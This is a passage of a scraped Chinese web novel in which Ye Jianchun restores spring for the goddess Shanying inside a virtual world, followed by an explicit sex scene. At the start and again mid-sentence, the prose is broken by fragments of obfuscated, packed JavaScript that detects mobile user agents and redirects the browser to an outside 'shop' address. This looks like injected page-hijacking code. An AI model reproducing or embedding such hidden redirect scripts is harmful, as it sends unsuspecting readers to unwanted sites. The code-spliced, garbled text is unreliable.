l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133897|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 类的同伴,叶见春现在只想引起这位脸上、身上都冰冰冷冷的姐姐注意。 第1天,他在雪地翻了几个跟斗,除了吃了一口火辣辣苦哈哈的雪沫,其他什么也没发生。 第2天,他在姐姐面前跳大神一样上上下下来回折腾,姐姐仍然无动于衷。只是偶尔,很偶尔的时候,叶见春注意到,她会瞥一眼天空。 天空有什么值得她在意的呢? 叶见春很不服气,他看着空荡荡的天空,连朵云都没有,盯得久了,好像连自己也陷入那片浩瀚无际深不可测的雾蓝之中。 好像该有一个长着两个翅膀,会来回扑棱,能划出漂亮又完美的抛物线的东西在才对。 第3天,他仰面倒在雪地里,张开四肢卖力扑腾,然后爬起来,果然看到了一个像有着巨大尾翼的动物形状。 冷若冰霜的姐姐终于愿意分给他一个眼神,她看着地上新鲜的的人印,嘴角微微勾起,几不可察地露出一个笑容。 雪地里又脏又冷,皮肤被刺激得通红,叶见春身上火辣辣的疼,但看见她的笑容,却仍然高兴得快要跳起来。 他学着她,强迫自己用食指勾起两边嘴角,模仿出一个不伦不类的笑脸。 他脑海里突然闪过无数个笑脸,但却一闪而过,抓不住任何记忆,只想起一朵黑如绸缎、散发着幽香的红玫瑰——奇怪,明明是黑色的花瓣,为什么他还认为那是一朵极其鲜艳的红玫瑰? 第4天,他在雪地里用雪花还原了那朵高贵优雅的玫瑰,可惜无法复原出如绸缎般暗黑的花瓣,但姐姐仍然注视了那朵“玫瑰”很久。 第5天……他画了一只鲸鱼,旁边还有一个巨大单调花纹的贝壳,贝壳竟然比鲸鱼还大,他也不明白自己为什么会这么画。但那天姐姐第一次从树下走下来。 第6天……他画了一颗小树,周围满是白色飞鸟,无数粗壮的树根围绕在小树身边,盘根错节,像张牙舞爪的章鱼。今天是姐姐第一次摸他的脸——尽管有些疼,看起来更像是恶劣地揉搓,像对待一个软绵绵的玩具一样。 …… 第99天,他没法在继续在雪地里作画。 这脏雪不知道什么时候越来越稀薄,一触即化。黑黄的土地显露出来,到处都是枯枝烂木,看上去更加荒凉了。 但荒凉之下似乎掩藏着无限的生机。 叶见春已经不再像刚刚驯化的猿猴还要征服自己的四肢,现在他脸上多了很多情绪,喜怒形于色。他捡起那些烂木头,一点点雕琢,刻成一捧木花,送到姐姐面前。 今天的姐姐推开了殷勤献花的叶见春,大地的黑色露出来之后,她经常会闷闷不乐,譬如此时,她的神情中带着恹恹的厌恶。 叶见春执意要送给她,她打翻那些烂木头,说:“我不喜欢这些。” 原来她不仅会说话,而且比他说得流利多了。叶见春失落了没一会又振作起来,凑过去问:“你、喜欢、什么?” 她琥珀般的眼睛深深地凝视他,看得他心旌摇曳,心里正美滋滋地窃喜时,又听见她说:“我喜欢春天。我在等,春天的到来。” 这和当面表白有什么区别?叶见春心跳如鼓,差点手舞足蹈,兴奋地招手:“我就是,春天!” 26. 人.Chapter 26 山樱看着他,有点无语。每一次被惩罚,都会在虚拟机里度过的成千上万年,可从来没有哪次像这一次,这个孔雀开屏的毛头傻子,他究竟是怎么凭空出现的? 春天春天,这名字好熟悉,好像很多年前,她为某个胚胎取过一个一模一样的名字。 叶见春会说话之后,想起来的事情越来越多了,他艰难组织语言问:“姐姐,你叫什么名字?” 姐姐嫌弃的眼神再一次投向他,叶见春觉得她又准备不理睬自己的时候,听见清冷微凉的声音响起:“山樱。” 叶见春的眼睛忽然亮起来,眨巴眨巴,像古时萤火虫的尾巴,忽闪忽闪的。山樱两个字像是一根导火索,迅速点燃了他的全部回忆。 山樱感觉他似乎的情绪更加剧烈且激动,他小心翼翼地朝自己伸出手,眼睛里像有泪花闪烁,说:“山樱,我找到你了!” 山樱觉得眼前这人傻得无可救药了,但或许是因为太过长久的孤独,她竟然觉得这生物虽然傻了点但也挺可爱的,可爱到想把他留下来,放在她身边也挺好的。 她不知道他是不是外面那群疯子设置的新陷阱,但不得不说,这个新陷阱比之前那些无趣的东西有意思多了,想玩弄,想践踏,想毁灭他。 虽然他的这张脸总有种似曾相识的感觉,可是她确实不认识他。或许她见过他,不过漫长岁月里,总需要忘记一些东西才能记住她最重要的记忆。 “我真的、是春天!”叶见春着急自证,不自觉凝聚念力在手中,绿色的柔和的火光在他掌心忽明忽灭。山樱只在一个人身上见过这种光芒——叶清泠。 好奇怪,她什么时候见过?分明被带回来之后她就再也没有见到那个温柔活泼又善良过分的研究员。 什么时候?山樱陷入了一个怪圈,她试图跳出自己的思维定势,如果他是真实的,那她的记忆是出过错吗? 叶见春的念并不算强大,他过度用念让自己处在一个很危险的状态,脑神经的钝痛提醒他身体即将崩溃。他咬了咬牙,发誓将生机带回这片萧瑟的腐败森林中。 他只找到了一个不高兴的山樱,可他仍不满足——他还想看她笑一笑。 这呆子看起来太吃力了,山樱食指轻敲枯木,意念微动就惊讶地发现她的念竟然能够转移到眼前这人身上。 庞大澎湃的神念瞬间让叶见春的能力有了翻天覆地的变化,从他身后,无数鲜花绽放,枯木发出新芽,天空变成澄净的蓝色,细碎的声音在这片空洞安静的死地显得格外清晰。 山樱一瞬间被眼前的景象模糊了心神,鼻尖是带着甜味的花香,她仿佛看见了无数双眼睛,小鹿的,羚羊的,青蛙的,松鼠的,画眉鸟的,以及危险的三角头小蛇的,隐匿在这片五彩缤纷的绿意中。 但她仔细看,每一双眼睛又都是她。 “春天像刚落地的娃娃,从头到脚都是新的,他生长着。”山樱听见一个柔和温暖的声音在她耳边轻轻念叨,很催眠,她跌入充满春意的幻想中,像躺在一袭顺滑软和的天鹅绒上。 她的身后,仍然还是断壁残垣,枯木寒冬。 叶见春出了一身汗,几近虚脱,他站起来,露出一个真挚的浅笑,向她伸出手。 说不出什么原因,山樱犹豫着将指尖搭上他虎口。叶见春握紧了她的手指,紧接着,一个带着潮湿微润的触感落在她手背。 山樱对这突如其来的冒犯感到茫然,她眨眨眼,看着眼前年轻生动的笑脸、连灰尘也挡不住他的灿烂,她紧闭着嘴巴没有说话。可她背后,春意开始寸寸蔓延,驱散萧瑟的寒冬,最终席卷整片大地。 她低头看他的手,他手腕上有几道丑陋的疤痕,但仔细看,这歪歪扭扭的丑东西似乎是自己的名字。他手上的缠臂?长出新的木枝,勾勾搭搭地够到她手腕上,变成一个朴实无华的木镯。 那瞬间,山樱所有的碎片终于拼凑成完整的她。 她缓过神来,若有所思地看了看身下这截枯木,有星星点点的新芽拼尽全力冒出来,舒展叶片,不像曾经她见过的那样浓烈贪婪的绿,而是似鹅黄般清新的绿色。 这段木头重新拥有了生命力,开始不断向上生长,越长越高,叶见春只能抬头遥遥望她。阳光折射出明媚的光线,将她笼罩其中。 山樱疑惑地、期待地、不自觉地抬高手臂,触碰到一团五颜六色的花朵,花瓣娇嫩柔弱,落在她头上,肩上和脖子里。 她的脑回路终于后知后觉连成回路——原来这就是春天。 很喜欢。 好开心。 她身下的巨木突然砰的一声,挂满满枝的含苞欲放的花朵骤然绽放,一树粉白。 树下的叶见春接住其中一片花瓣,和他手腕木环开出的花朵一模一样,他不自觉地轻轻念道:“山、樱?” “我在。” 山樱不知道什么时候坐到最底的树杈上,叶见春愣愣地看着她,从来没见过的放肆大笑的神明,连眉头都带着愉悦的松快——原来她真正笑起来这么好看。 她笑意融融地看着自己:“小春天,恭喜你找到我了!” 叶见春的脑子霎时涌现起很多事情,被封存融化的记忆像火山口一样爆发,有人用轻飘飘的羽毛在他心上写字,他这瞬间情不自禁地问:“神明也曾是人吗?” “……曾经是吧?”山樱想了想才说。 叶见春的记忆定格在神明捏碎记忆画面,他凑上前,山樱低头自然而然地吻了他。 很奇怪,他明明没有说话,但他的眼睛在说,鼻子在说,山樱脑子也满是他的祷告。 他在求自己爱他,为此无论做什么他都愿意。 这个小信徒太贪心了,他甚至没发现,自己已经对他格外关照了。 山樱笑了笑,踩着他的肩膀跳下来。 现在,该做一些春天该做的事情了…… 还是躺在毛茸茸的草地上,唯一变化的只是上下关系的下面变成了自己。叶见春当即想起那个不可描述的梦,他的眼角溢出些晶莹的泪珠,立即有微凉的叶片生长覆盖住他的双眼。 “你的衣服真难脱。”他觉得神明似乎在轻笑。 黑暗会给人带来不安全的空虚,似乎有无数双眼睛都在打量他身上的每一处,他慌乱地试图把叶子移开,着急喊她的名字:“山樱!山樱!” 山樱轻轻笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138237|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了笑,轻轻拿住他的手,引导他自己脱掉所有衣服后,将掌心放到自己身上,说:“别看我。”那样湿漉漉的眼神,会让她生出自己在欺负一只小狗的错觉。 真的很像狗,适应了黑暗的叶见春埋在她颈窝一寸寸吻下去,从前面吻到后面,又从后面吻到下面。 他的听觉更加灵敏,听见神明不可自抑的低吟声,就更叫激动了,几乎是在用牙齿厮磨舔舐。 山樱一手抱着那颗作乱的头,一手抬起他的双手举过头顶,身体微沉,然后深深地吻下去。 叶见春喘息着叫了一声。 好痛。 又紧又疼。 他从来不是喜欢吃亏的人,不愿意一个人承受痛苦,所以坏心思地动作起来。疼痛与欲相伴相生,慢慢分不清痛苦还是愉悦,只有带着潮湿的泥土气息与眼前人淡淡的玫瑰花香令人上瘾沉沦,日夜颠倒。 山樱手腕的木环生出侧枝与他的交缠在一起,绿叶催生出粉白的娇嫩花朵,一点点绽开。花头上覆盖一层黏腻的花蜜,看起来水光潋滟,花香则四溢散开,他从里到外都染上神明身上相同的花香味道。 他的鼻尖剐蹭着神明的耳垂,揽着眼前人的纤细腰肢,死死不放手,仿佛要与她纠缠到天荒地老。 …… 一连几天,叶见春都寸步不离地守着山樱。即使睡在一起,也要绞住她的短发,好像他一眨眼,她又会再次消失不见。他心底疑问不休,却不敢张口,忧惧像双无形的大手,搅弄他的思绪,攥紧他的心脏。 山樱摸了摸他毛茸茸的头发,突然动作一顿,抿起一抹嘲弄的笑,说:“是时候去见见老熟人了。” 叶见春神经紧绷,立即捏住了她的衣角,山樱奇怪地瞥了他一眼,拂开他的手。叶见春失望地不甘心地想要继续拽住一个角。 山樱未免觉得好笑,见他孩子气般不讲道理,于是伸出胳膊:“小春天,挽着吗?” 叶见春受宠若惊地看了一会,挽上去的同时悄悄将手指伸进她的手心十指相合。 只有这时,他才生出安心的感觉。 其实他说的那些关于爱的言论,都是骗神明的。叶见春根本不知道什么称得上爱,所有的一切都是根据残缺记忆中爸妈的样子来描摹的。他的父母很爱他,但那已经过去太久了,没有人告诉自己,真正的爱长什么样子。 但此时此刻,叶见春才觉得自己正在爱与被爱着。这种感觉就像即使他闯了天大的祸都会有人给自己兜底,无论生活多么难过,他闭上眼睛都会想起她而笑起来,不用殚精竭虑费劲心力才能勉强过活,他开始在自己意识里真正成长起来,过去变得越来越遥远,而未来却逐渐具体而明亮。 他的心狂烈地跳动,早在他认识到爱以前,他的身体就已经告诉了他爱着的事实。 可惜这场漫长虚拟机中的幻梦,终究是要碎了。山樱靠着巨大的野樱树,用脸蛋轻轻蹭了蹭粗糙的树皮,乌云悄然遮住巨大的太阳,绚烂的春天转瞬即逝。 001世界真正的模样慢慢显现——一个巨大又古怪的空楼,仿佛一个张大嘴巴的鬼怪,风从后向前穿过空荡荡的内核,像在无声地哭嚎呐喊。